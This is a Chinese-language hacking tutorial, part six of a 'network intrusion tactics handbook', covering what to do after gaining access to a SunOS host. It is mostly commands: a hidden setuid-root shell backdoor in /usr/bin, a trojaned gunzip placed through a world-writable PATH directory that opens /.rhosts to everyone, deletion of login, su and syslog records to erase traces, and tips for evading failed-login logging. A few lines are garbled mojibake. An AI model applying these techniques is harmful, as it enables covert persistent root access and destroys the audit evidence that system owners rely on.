当前位置:Linux教程 - Linux - 网络入侵实用战术手册(6)

网络入侵实用战术手册(6)



        
    作者[samsa]


    六、最后的疯狂(善后)

    1) 后门

    e.g.有一次,俺通过改写/.rhosts成了root,但.rhosts很容易被发现的哦,怎么
    办?留个后门的说:

    # rm -f /.rhosts
    # cd /usr/bin
    # ls mscl
    # ls mscl
    mscl: 无此文件或目录
    # cp /bin/ksh mscl
    # chmod a+s mscl
    # ls -l mscl
    -r-sr-sr-x 1 root ofc 192764 5月 19 11:42 mscl

    以后以任何用户登录,只要执行``/usr/bin/mscl\"\"就成root了。
    /usr/bin下面那一大堆程序,能发现这个mscl的几率简直小到可以忽略不计了。

    2) 特洛伊木马

    e.g. 有一次我发现:

    $ echo $PATH
    /usr/sbin:/usr/bin:/usr/ccs/bin:/opt/gnu/bin:.
    $ ls -ld /opt/gnu
    drwxrwxrwx 7 root other 512 5月 14 11:54 /opt/gnu
    $ cd /opt/gnu
    $ ls -l
    total 24
    drwxrwxrwx 7 root other 512 5月 14 11:54 .
    drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
    drwxr-xr-x 2 root other 1536 5月 14 16:10 bin
    drwxr-xr-x 3 root other 512 1996 11月 29 include
    drwxr-xr-x 2 root other 3584 1996 11月 29 info
    drwxr-xr-x 4 root other 512 1997 12月 17 lib
    $ cp -R bin .TT_RT; cd .TT_RT

    ``.TT_RT\"\"这种东东看起来象是系统的...
    决定替换常用的程序gunzip

    $ mv gunzip gunzip:
    $ cat > toxan
    #!/bin/sh
    echo \"+ +\" >/.rhosts
    ^D
    $ cat > gunzip
    if [ -f /.rhosts ]
    then
    mv /opt/gnu/bin /opt/gnu/.TT_RT
    mv /opt/gnu/.TT_DB /opt/gnu/bin
    /opt/gnu/bin/gunzip $*
    else
    /opt/gnu/bin/gunzip: $*
    fi
    fi
    ^D
    $ chmod 755 toxan gunzip
    $ cd ..
    $ mv bin .TT_DB
    $ mv .TT_RT bin
    $ ls -l
    total 16
    drwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
    drwxr-xr-x 3 root other 512 1996 11月 29 include
    drwxr-xr-x 2 root other 3584 1996 11月 29 info
    drwxr-xr-x 4 root other 512 1997 12月 17 lib
    $ ls -al
    total 24
    drwxrwxrwx 7 root other 512 5月 14 11:54 .
    drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
    drwxr-xr-x 2 root other 1536 1998 11月 2 .TT_DB
    drwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
    drwxr-xr-x 3 root other 512 1996 11月 29 include
    drwxr-xr-x 2 root other 3584 1996 11月 29 info
    drwxr-xr-x 4 root other 512 1997 12月 17 lib

    虽然有点暴露的可能(bin的属主竟然是zw!!!),但也顾不得了。
    盼着root尽快执行gunzip吧...
    过了两天:

    $ cd /opt/gnu
    $ ls -al
    total 24
    drwxrwxrwx 7 root other 512 5月 14 11:54 .
    drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
    drwxr-xr-x 2 zw other 1536 1998 11月 2 .TT_RT
    drwxr-xr-x 2 root staff 1536 5月 14 16:10 bin
    drwxr-xr-x 3 root other 512 1996 11月 29 include
    drwxr-xr-x 2 root other 3584 1996 11月 29 info
    drwxr-xr-x 4 root other 512 1997 12月 17 lib

    (samsa:bingo!!!有人运行俺的特洛伊木马乐...)

    $ ls -a /
    (null) .exrc dev proc
    .. .fm devices reconfigure
    .. .hotjava etc sbin
    ..Xauthority .netscape export tftpboot
    ..Xdefaults .profile home tmp
    ..Xdefaults .profile home tmp
    ..Xlocale .rhosts kernel usr
    ..ab_library .wastebasket lib var
    ......
    $ cat /.rhosts
    + +
    $

    (samsa:下面就不用 罗嗦了吧?)

    注:该结果为samsa杜撰,那个特洛伊木马至今还在老地方静悄悄地呆着呢,即无人发
    现也没人光顾!!--已经20多年过去了耶....

    3) 毁尸灭迹

    消除掉登录记录:

    3.1) /var/adm/lastlog

    # cd /var/adm
    # ls -l
    总数73258
    -rw------- 1 uucp bin 0 1998 10月 9 aculog
    -r--r--r-- 1 root root 28168 5月 19 16:39 lastlog
    drwxrwxr-x 2 adm adm 512 1998 10月 9 log
    -rw-r--r-- 1 root root 30171962 5月 19 16:40 messages
    drwxrwxr-x 2 adm adm 512 1998 10月 9 passwd
    -rw-rw-rw- 1 bin bin 0 1998 10月 9 spellhist
    -rw------- 1 root root 6871 5月 19 16:39 sulog
    -rw-r--r-- 1 root bin 1188 5月 19 16:39 utmp
    -rw-r--r-- 1 root bin 12276 5月 19 16:39 utmpx
    -rw-rw-rw- 1 root root 122 1998 10月 9 vold.log
    -rw-rw-r-- 1 adm adm 3343551 5月 19 16:39 wtmp
    -rw-rw-r-- 1 adm adm 7229076 5月 19 16:39 wtmpx

    为了下次登录时不显示``Last Login\"\"信息(向真正的用户显示):

    # rm -f lastlog
    # telnet victim.com

    SunOS 5.7

    login: zw
    Password:
    Sun Microsystems Inc. SunOS 5.7 Generic October 1998
    $

    (比较:

    SunOS 5.7

    login: zw
    Password:
    Last login: Wed May 19 16:38:31 from zw
    Sun Microsystems Inc. SunOS 5.7 Generic October 1998
    $

    说明:/var/adm/lastlog 每次有用户成功登录进来时记一条,所以删掉以后再
    登录一次就没有``Last Login\"\"信息,但再登一次又会出现,因为系统会自动
    重新创建该文件)

    3.2) /var/adm/utmp,/var/adm/utmpx /var/adm/wtmp,/var/adm/wtmpx
    utmp、utmpx 这两个数据库文件存放当前登录在本机上的用户信息,用于who、
    write、login等程序中;

    $ who
    wsj console 5月 19 16:49 (:0)
    zw pts/5 5月 19 16:53 (zw)
    yxun pts/3 5月 19 17:01 (192.168.0.115)

    wtmp、wtmpx分别是它们的历史记录,用于``last\"\"
    命令,该命令读取wtmp(x)的内容并以可理解的方式进行显示:

    $ last | grep zw
    zw ftp 192.168.0.139 Fri Apr 30 09:47 - 10:12 (00:24)
    zw pts/1 192.168.0.139 Fri Apr 30 08:05 - 11:40 (03:35)
    zw pts/18 192.168.0.139 Thu Apr 29 15:36 - 16:50 (01:13)
    zw pts/7 Thu Apr 29 09:53 - 15:35 (05:42)
    zw pts/7 192.168.0.139 Thu Apr 29 08:48 - 09:53 (01:05)
    zw ftp 192.168.0.139 Thu Apr 29 08:40 - 08:45 (00:04)
    zw pts/10 192.168.0.139 Thu Apr 29 08:37 - 13:27 (04:49)
    ......

    utmp、wtmp已经过时,现在实际使用的是utmpx和wtmpx,但同样的信息依然以旧的
    格式记录在utmp和wtmp中,所以要删就全删。

    # rm -f wtmp wtmpx
    # last
    /var/adm/wtmpx: 无此文件或目录

    3.3) syslog

    syslogd 随时从系统各处接受log请求,然后根据/etc/syslog.conf中的预先设定把
    log信息写入相应文件中、邮寄给特定用户或者直接以消息的方式发往控制台。
    始母囟ㄓ没Щ蛘咧苯右韵⒌姆绞椒⑼刂铺ā?
    不妨先看看syslog.conf的内容:

    ---------------------- begin: syslog.conf -------------------------------
    #ident \"@(#)syslog.conf 1.4 96/10/11 SMI\" /* SunOS 5.0 */
    #
    # Copyright (c) 1991-1993, by Sun Microsystems, Inc.
    #
    # syslog configuration file.
    #
    *.err;kern.notice;auth.notice /dev/console
    *.err;kern.debug;daemon.notice;mail.crit /var/adm/messages

    *.alert;kern.err;daemon.err operator
    *.alert root
    ......
    ---------------------- end : syslog.conf -------------------------------

    ``auth.notice\"\"这样的东东由两部分组成,称为``facility.level\"\",前者表示log
    信息涉及的方面,level表示信息的紧急程度。
    facility 有:user,kern,mail,daemon,auth,lpr,news,uucp,cron,etc...
    level 有:emerg,alert,crit,err,warning,info,debug,etc...(紧急程度递减)
    一般和安全关系密切的facility是mail,daemon,auth etc...
    ,daemon,auth etc...
    而这类信息按惯例通常存放在/var/adm/messages里。
    那么 messages 里那些信息容易暴露\"黑客\"痕迹呢?
    1,\"May 4 08:48:35 numen login: REPEATED LOGIN FAILURES ON /dev/pts/9 FROM sams
    \"
    重复登录失败!如果你猜测口令的话,你肯定会经历很多次这样的失败!
    不过一般的UNIX系统只有一次telnet session连续登录5次失败才会记这么一条,所以
    当你4次尝试还没成功,最好赶紧退出,重新telnet...
    2,\"May 5 10:30:35 numen su: \"su root\" failed for cxl on /dev/pts/15\"
    \"May 18 17:02:16 numen su: \"su root\" succeeded for zw on /dev/pts/1\"
    如果黑客想利用``su\"\"成为超级用户,无论成功失败,messages里都可能有记录...
    3,\"Apr 29 10:12:23 numen sendmail[4777]: NOQUEUE: \"wiz\" command from numen\"
    \"Apr 29 10:12:23 numen sendmail[4777]: NOQUEUE: \"debug\" command from numen\"
    Sendmail早期版本的``wiz\"\"、``debug\"\"命令是漏洞所在,所以黑客可能会尝试这两个
    命令...
    因此,/var/adm/messages也是暴露黑客行踪的隐患,最好把它删掉(如果能的话,哈哈)!
    ?

    # rm -f /var/adm/messages

    (samsa:爽!!!)

    或者,如果你不想引起注意的话,也可以只把对应的行删掉(当然要有写权限)。
    Φ男猩镜簦ǖ比灰行慈ㄏ蓿?

    3.4) sulog

    /var/adm下还有一个sulog,是专门为su程序服务的:

    # cat sulog
    SU 05/06 09:05 + console root-zw
    SU 05/06 13:55 - pts/9 yxun-root
    SU 05/06 14:03 + pts/9 yxun-root
    ......

    其中``+\"\"表示su成功,``-\"\"表示失败。如果你用过su,那就把这个文件也删掉把,
    或者把关于你的行删掉!

    发布人:netbull 来自:黑客专家